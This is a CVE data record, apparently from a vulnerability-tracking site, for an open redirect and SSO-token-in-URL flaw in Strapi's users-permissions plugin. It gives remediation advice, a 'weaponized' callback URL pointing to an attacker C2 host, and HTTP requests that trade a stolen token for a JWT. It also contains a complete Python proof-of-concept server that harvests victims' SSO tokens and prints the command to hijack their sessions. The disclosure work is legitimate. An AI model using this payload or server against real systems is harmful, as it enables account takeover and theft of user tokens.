[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2024-34065":3,"landing-trending":611,"landing-articles":692},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":20,"cwes":21,"cpes":24,"technologies":579,"references":582,"score":587,"epss_score":588,"epss_percentile":589,"is_kev":590,"cisa_kev_date_added":591,"cisa_kev_due_date":591,"cisa_ssvc":592,"attack_mappings":602,"exploits":609},48161,"CVE-2024-34065","EUVD-2024-2197","@strapi\u002Fplugin-users-permissions leaks 3rd party authentication tokens and authentication bypass\n\n### Summary\n\nBy combining two vulnerabilities (an `Open Redirect` and `session token sent as URL query parameter`) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).\n\n### Impact\n\nUnauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.\n\n### Technical details\n\n#### Vulnerability 1: Open Redirect\n\n##### Description\n\nOpen redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.\n\nIn the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.\n\n##### Remediation\n\nIf possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:\n\n- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.\n- Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.\n\nIf it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:\n\n- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.\n- The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend \u003Cspan dir=\"\">http:\u002F\u002Fyourdomainname.com\u003C\u002Fspan> to the URL before issuing the redirect.\n\n###### Example 1: Open Redirect in \u003Cspan dir=\"\">\u002Fapi\u002Fconnect\u002Fmicrosoft\u003C\u002Fspan> via `$_GET[\"callback\"]`\n\n- Path: \u003Cspan dir=\"\">\u002Fapi\u002Fconnect\u002Fmicrosoft\u003C\u002Fspan>\n- Parameter: `$_GET[\"callback\"]`\n\nPayload:\n\n```plaintext\nhttps:\u002F\u002Fgoogle.fr\u002F\n```\n\nFinal payload:\n\n```plaintext\nhttps:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fconnect\u002Fmicrosoft?callback=https:\u002F\u002Fgoogle.fr\u002F\n```\n\nUser clicks on the link:\n![c1](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002Fc1944cf8-2ef0-4214-ba9e-d4aad10d85ba)\n\nLook at the intercepted request in Burp and see the redirect to Microsoft:\n\n![c0](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002F0c3d9289-432c-46ac-a7e3-eafe15f02483)\n\nMicrosoft check the cookies and redirects to the original domain (and route) but with different GET parameters.\n\nThen, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):\n\n![c2](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002F009e3898-1ccf-4ee4-9c29-496ff6b302d0)\n\nThe domain originally specified (https:\u002F\u002Fgoogle.fr) as `$_GET[\"callback\"]` parameter is present in the cookies. So \u003Cspan dir=\"\">\\\u003CTARGET\\>\u003C\u002Fspan> is using the cookies (`koa.sess`) to redirect.\n\n![c3](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002F4c25cb6c-c9e8-4c2d-aa61-1ad1442e5f4d)\n\n`koa.sess` cookie:\n\n```base64\neyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==\n```\n\n```json\n{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https:\u002F\u002Fgoogle.fr\u002F\"}},\"_expire\":1700234244263,\"_maxAge\":86400000}\n```\n\nThe vulnerability seems to come from the application's core:\n\nFile: [\u003Cspan dir=\"\">packages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Fcontrollers\u002Fauth.js\u003C\u002Fspan>](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fblob\u002Fdevelop\u002Fpackages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Fcontrollers\u002Fauth.js)\n\n```js\n'use strict';\n\n\u002F**\n * Auth.js controller\n *\n * @description: A set of functions called \"actions\" for managing `Auth`.\n *\u002F\n\n\u002F* eslint-disable no-useless-escape *\u002F\nconst crypto = require('crypto');\nconst _ = require('lodash');\nconst { concat, compact, isArray } = require('lodash\u002Ffp');\nconst utils = require('@strapi\u002Futils');\nconst {\n  contentTypes: { getNonWritableAttributes },\n} = require('@strapi\u002Futils');\nconst { getService } = require('..\u002Futils');\nconst {\n  validateCallbackBody,\n  validateRegisterBody,\n  validateSendEmailConfirmationBody,\n  validateForgotPasswordBody,\n  validateResetPasswordBody,\n  validateEmailConfirmationBody,\n  validateChangePasswordBody,\n} = require('.\u002Fvalidation\u002Fauth');\n\nconst { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;\nconst { ApplicationError, ValidationError, ForbiddenError } = utils.errors;\n\nconst sanitizeUser = (user, ctx) => {\n  const { auth } = ctx.state;\n  const userSchema = strapi.getModel('plugin::users-permissions.user');\n\n  return sanitize.contentAPI.output(user, userSchema, { auth });\n};\n\nmodule.exports = {\n  async callback(ctx) {\n    const provider = ctx.params.provider || 'local';\n    const params = ctx.request.body;\n\n    const store = strapi.store({ type: 'plugin', name: 'users-permissions' });\n    const grantSettings = await store.get({ key: 'grant' });\n\n    const grantProvider = provider === 'local' ? 'email' : provider;\n\n    if (!_.get(grantSettings, [grantProvider, 'enabled'])) {\n      throw new ApplicationError('This provider is disabled');\n    }\n\n    if (provider === 'local') {\n      await validateCallbackBody(params);\n\n      const { identifier } = params;\n\n      \u002F\u002F Check if the user exists.\n      const user = await strapi.query('plugin::users-permissions.user').findOne({\n        where: {\n          provider,\n          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],\n        },\n      });\n\n      if (!user) {\n        throw new ValidationError('Invalid identifier or password');\n      }\n\n      if (!user.password) {\n        throw new ValidationError('Invalid identifier or password');\n      }\n\n      const validPassword = await getService('user').validatePassword(\n        params.password,\n        user.password\n      );\n\n      if (!validPassword) {\n        throw new ValidationError('Invalid identifier or password');\n      }\n\n      const advancedSettings = await store.get({ key: 'advanced' });\n      const requiresConfirmation = _.get(advancedSettings, 'email_confirmation');\n\n      if (requiresConfirmation && user.confirmed !== true) {\n        throw new ApplicationError('Your account email is not confirmed');\n      }\n\n      if (user.blocked === true) {\n        throw new ApplicationError('Your account has been blocked by an administrator');\n      }\n\n      return ctx.send({\n        jwt: getService('jwt').issue({ id: user.id }),\n        user: await sanitizeUser(user, ctx),\n      });\n    }\n\n    \u002F\u002F Connect the user with the third-party provider.\n    try {\n      const user = await getService('providers').connect(provider, ctx.query);\n\n      if (user.blocked) {\n        throw new ForbiddenError('Your account has been blocked by an administrator');\n      }\n\n      return ctx.send({\n        jwt: getService('jwt').issue({ id: user.id }),\n        user: await sanitizeUser(user, ctx),\n      });\n    } catch (error) {\n      throw new ApplicationError(error.message);\n    }\n  },\n\n  \u002F\u002F...\n\n  async connect(ctx, next) {\n    const grant = require('grant-koa');\n\n    const providers = await strapi\n      .store({ type: 'plugin', name: 'users-permissions', key: 'grant' })\n      .get();\n\n    const apiPrefix = strapi.config.get('api.rest.prefix');\n    const grantConfig = {\n      defaults: {\n        prefix: `${apiPrefix}\u002Fconnect`,\n      },\n      ...providers,\n    };\n\n    const [requestPath] = ctx.request.url.split('?');\n    const provider = requestPath.split('\u002Fconnect\u002F')[1].split('\u002F')[0];\n\n    if (!_.get(grantConfig[provider], 'enabled')) {\n      throw new ApplicationError('This provider is disabled');\n    }\n\n    if (!strapi.config.server.url.startsWith('http')) {\n      strapi.log.warn(\n        'You are using a third party provider for login. Make sure to set an absolute url in config\u002Fserver.js. More info here: https:\u002F\u002Fdocs.strapi.io\u002Fdeveloper-docs\u002Flatest\u002Fplugins\u002Fusers-permissions.html#setting-up-the-server-url'\n      );\n    }\n\n    \u002F\u002F Ability to pass OAuth callback dynamically\n    grantConfig[provider].callback =\n      _.get(ctx, 'query.callback') ||\n      _.get(ctx, 'session.grant.dynamic.callback') ||\n      grantConfig[provider].callback;\n    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);\n\n    return grant(grantConfig)(ctx, next);\n  },\n\n  \u002F\u002F...\n\n};\n```\n\nAnd more specifically:\n\n```js\n...\n\n    \u002F\u002F Ability to pass OAuth callback dynamically\n    grantConfig[provider].callback =\n      _.get(ctx, 'query.callback') ||\n      _.get(ctx, 'session.grant.dynamic.callback') ||\n      grantConfig[provider].callback;\n    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);\n\n    return grant(grantConfig)(ctx, next);\n...\n```\n\nPossible patch:\n\n```js\ngrantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback\n```\n\n`_.get(ctx, 'query.callback')` = `$_GET[\"callback\"]` and `_.get(ctx, 'session')` = `$_COOKIE[\"koa.sess\"]` (which is `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https:\u002F\u002FXXXXXXX\u002F\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`) so `_.get(ctx, 'session.grant.dynamic.callback')` = `https:\u002F\u002FXXXXXXX\u002F`.\n\nThe route is clearly defined here:\n\nFile: [\u003Cspan dir=\"\">packages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Froutes\u002Fcontent-api\u002Fauth.js\u003C\u002Fspan>](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fblob\u002Fdevelop\u002Fpackages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Froutes\u002Fcontent-api\u002Fauth.js)\n\n```js\n'use strict';\n\nmodule.exports = [\n\n\u002F\u002F...\n\n  {\n    method: 'GET',\n    path: '\u002Fauth\u002F:provider\u002Fcallback',\n    handler: 'auth.callback',\n    config: {\n      prefix: '',\n    },\n  },\n\n  \u002F\u002F...\n\n];\n```\n\nFile: [\u003Cspan dir=\"\">packages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Fservices\u002Fproviders-registry.js\u003C\u002Fspan>](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fblob\u002Fdevelop\u002Fpackages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Fservices\u002Fproviders-registry.js)\n\n```js\n\nconst getInitialProviders = ({ purest }) => ({\n\n\u002F\u002F..\n\n  async microsoft({ accessToken }) {\n    const microsoft = purest({ provider: 'microsoft' });\n\n    return microsoft\n      .get('me')\n      .auth(accessToken)\n      .request()\n      .then(({ body }) => ({\n        username: body.userPrincipalName,\n        email: body.userPrincipalName,\n      }));\n  },\n\n\u002F\u002F..\n\n});\n```\n\nIf parameter `$_GET[\"callback\"]` is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie `koa.sess`:\n\n`koa.sess`=`eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9`\n\nWhich once base64 decoded become `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https:\u002F\u002F\u003CTARGET>\u002Fusers\u002Fauth\u002Fredirect\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`.\n\nThe signature of the cookie is stored in cookie `koa.sess.sig`:\n\n`koa.sess.sig`=`wTRmcVRrn88hWMdg84VvSD87-_0`\n\nFile: [\u003Cspan dir=\"\">packages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Fbootstrap\u002Fgrant-config.js\u003C\u002Fspan>](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fblob\u002Fdevelop\u002Fpackages\u002Fplugins\u002Fusers-permissions\u002Fserver\u002Fbootstrap\u002Fgrant-config.js)\n\n```js\n\n\u002F\u002F..\n\n  microsoft: {\n    enabled: false,\n    icon: 'windows',\n    key: '',\n    secret: '',\n    callback: `${baseURL}\u002Fmicrosoft\u002Fcallback`,\n    scope: ['user.read'],\n  },\n\n\u002F\u002F..\n```\n\n#### Vulnerability 2: Session token in URL\n\n##### Description\n\nApplications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.\n\n###### Example 1: SSO token transmitted within URL (`$_GET[\"access_token\"]`)\n\n- Path: \u003Cspan dir=\"\">\u002Fapi\u002Fconnect\u002Fmicrosoft\u003C\u002Fspan>\n- Parameter: `$_GET[\"callback\"]`\n\nWhen a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.\n\nWeaponized payload:\n\n```plaintext\nhttps:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fconnect\u002Fmicrosoft?callback=http:\u002F\u002F\u003CC2>:8080\u002F\n```\n\nWith a web server specially developed to exploit the vulnerability listening on \u003Cspan dir=\"\">\\\u003CC2\\>:8080\u003C\u002Fspan>,  it is possible to retrieve a JWT token allowing authentication on Strapi.\n\nA user is on his browser when he decides to click on a link sent to him by e-mail.\n\n![c4](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002Fc6e22fa1-14a4-4c76-a832-d07305f265b6)\n\n> The attacker places the malicious link in the URL bar to simulate a victim's click.\n\n![c5](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002F4da28c5b-6501-4f93-9041-9917a2b070e6)\n\nThe server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.\n\n> Everything is invisible to the victim.\n\n![c6](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002F58db0a31-3b3b-4648-958b-953eba88bf87)\n\nBecause the victim didn't change to another Web page.\n\n![c7](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002Fab4dd6f9-02e1-42c9-9142-434db865f0d3)\n\nThe attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.\n\n![c8](https:\u002F\u002Fgithub.com\u002Fstrapi\u002Fstrapi\u002Fassets\u002F30262080\u002Faab8d22f-5f0e-4a67-85a8-2e333df9b84b)\n\n##### Details\n\n###### Get the JWT token with the `access_token`\n\nFirst of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.\n\nRequest (HTTP):\n\n```http\nGET \u002Fapi\u002Fauth\u002Fmicrosoft\u002Fcallback?access_token=eyJ0eXAiOiJKV\u003CREDACTED>yBzA HTTP\u002F1.1\nHost: \u003CTARGET>\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP\u002F1.1 200 OK\nServer: nginx\nDate: Mon, 27 Nov 2023 17:58:46 GMT\nContent-Type: application\u002Fjson; charset=utf-8\nContent-Length: 411\nConnection: keep-alive\nContent-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https:\u002F\u002Fmarket-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \u003CREDACTED>\n\n{\"jwt\":\"eyJhbG\u003CREDACTED>eCac\",\"user\":{\"id\":111,\"username\":\"\u003CREDACTED>@\u003CREDACTED>-ext.com\",\"email\":\"\u003Credacted>@\u003Credacted>-ext.com\",\"provider\":\"microsoft\",\"confirmed\":true,\"blocked\":false,\"createdAt\":\"2023-11-14T12:35:42.440Z\",\"updatedAt\":\"2023-11-16T21:00:19.241Z\",\"is_external\":false}}\n```\n\n###### Request API routes using the JWT token\n\nThen reuse the JWT token to request the API.\n\nRequest (HTTP):\n\n```http\nGET \u002Fapi\u002Fusers\u002Fme\u002Fgroups?app=support HTTP\u002F1.1\nHost: \u003CTARGET>\nAuthorization: Bearer eyJ\u003CREDACTED>EeCac\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP\u002F1.1 200 OK\nServer: nginx\nDate: Tue, 28 Nov 2023 13:45:42 GMT\nContent-Type: application\u002Fjson; charset=utf-8\nContent-Length: 24684\nConnection: keep-alive\nContent-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https:\u002F\u002Fmarket-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-RateLimit-Limit: 10\nX-RateLimit-Remaining: 9\nX-RateLimit-Reset: 1701179203\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \u003CREDACTED>\n\n{\"apps\":{\"support\":{\"groups\":[{\"device_whitelist\":null,\"name\":\"test - support\",\"id\":10,\"group_privileges\":[{\"id\":37,\u003CREDACTED>\n\n...\n```\n\n### POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)\n\n```python\nimport base64\nimport json\nimport urllib.parse\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom sys import argv\n\n\n# Strapi URL.\nTARGET = \"target.com\"\n\n# URLs to which victims are automatically redirected.\nREDIRECT_URL = [\n    \"strapi.io\",\n    \"www.google.fr\"\n]\n# URL used to generate a valid JWT token for authentication within the\n# application.\nGEN_JWT_URL = f\"https:\u002F\u002F{TARGET}\u002Fapi\u002Fauth\u002Fmicrosoft\u002Fcallback\"\n\n\n# This function is used to generate a curl command which once executed, will\n# give us a valid JWT connection token.\ndef generate_curl_command(token):\n    command = f\"curl '{GEN_JWT_URL}?access_token={token}'\"\n    return command\n\n\n# We create a custom HTTP server to retrieve users' SSO tokens.\nclass CustomServer(BaseHTTPRequestHandler):\n\n    # Here we override the default logging function to reduce verbosity.\n    def log_message(self, format, *args):\n        pass\n\n    # This function automatically redirects a user to the page defined in the\n    # global variable linked to the redirection.\n    def _set_response(self):\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_URL[0])\n        self.end_headers()\n\n    # If an SSO token is present, we parse it and log the result in STDOUT.\n    def do_GET(self):\n        # This condition checks whether a token is present in the URL.\n        if str(self.path).find(\"access_token\") != -1:\n            # If this is the case, we recover the token.\n            query = urllib.parse.urlparse(self.path).query\n            query_components = dict(qc.split(\"=\") for qc in query.split(\"&\"))\n            access_token = urllib.parse.unquote(query_components[\"access_token\"])\n\n            # In the token, which is a string in JWT format, we retrieve the\n            # body part of the token.\n            interesting_data = access_token.split(\".\")[1]\n\n            # Patching base64 encoded data.\n            interesting_data = interesting_data + \"=\" * (-len(interesting_data) % 4)\n\n            # Parsing JSON.\n            json_data = json.loads(base64.b64decode(interesting_data.encode()))\n            family_name, given_name, ipaddr, upn = json_data[\"given_name\"], json_data[\"family_name\"], json_data[\"ipaddr\"], json_data[\"upn\"]\n\n            print(f\"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\\n{access_token}\\n\")\n            print(f\"[*] Run: \\\"{generate_curl_command(query_components['access_token'])}\\\" to get JWT token\")\n\n        self._set_response()\n        self.wfile.write(\"Redirecting ...\".encode(\"utf-8\"))\n\n\ndef run(server_class=HTTPServer, handler_class=CustomServer, ip=\"0.0.0.0\", port=8080):\n    server_address = (ip, port)\n    httpd = server_class(server_address, handler_class)\n\n    print(f\"Starting httpd ({ip}:{port}) ...\")\n    try:\n        httpd.serve_forever()\n    except KeyboardInterrupt:\n        pass\n\n    httpd.server_close()\n    print(\"Stopping httpd ...\")\n\n\nif __name__ == \"__main__\":\n    if len(argv) == 3:\n        run(ip=argv[1], port=int(argv[2]))\n    else:\n        run()\n```\n","2024-06-12T19:39:00Z",{"cvss_v3.1":10},{"scope":11,"version":12,"baseScore":13,"attackVector":14,"baseSeverity":15,"vectorString":16,"integrityImpact":17,"userInteraction":18,"attackComplexity":17,"availabilityImpact":19,"privilegesRequired":19,"confidentialityImpact":15},"UNCHANGED","3.1",7.1,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:L\u002FA:N","LOW","REQUIRED","NONE",true,[22,23],"CWE-601","CWE-294",[25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578],"cpe:2.3:a:strapi:strapi:3.0.0:alpha10.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.13.0.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha20:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.5.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha9.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha25.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta22:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.20.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.6.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta11:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.14.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.1.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta0:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.0.4:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.12.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.1.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.5.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.7.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.3:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha24.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha15:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.20.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta21:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.3.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.5.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.17.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.17.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:-:*:*:*:-:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha22:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.3.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.6.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.7:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.6.10:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta9:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha25.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha4.8:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha26.1:*:*:*:*:*:*","cpe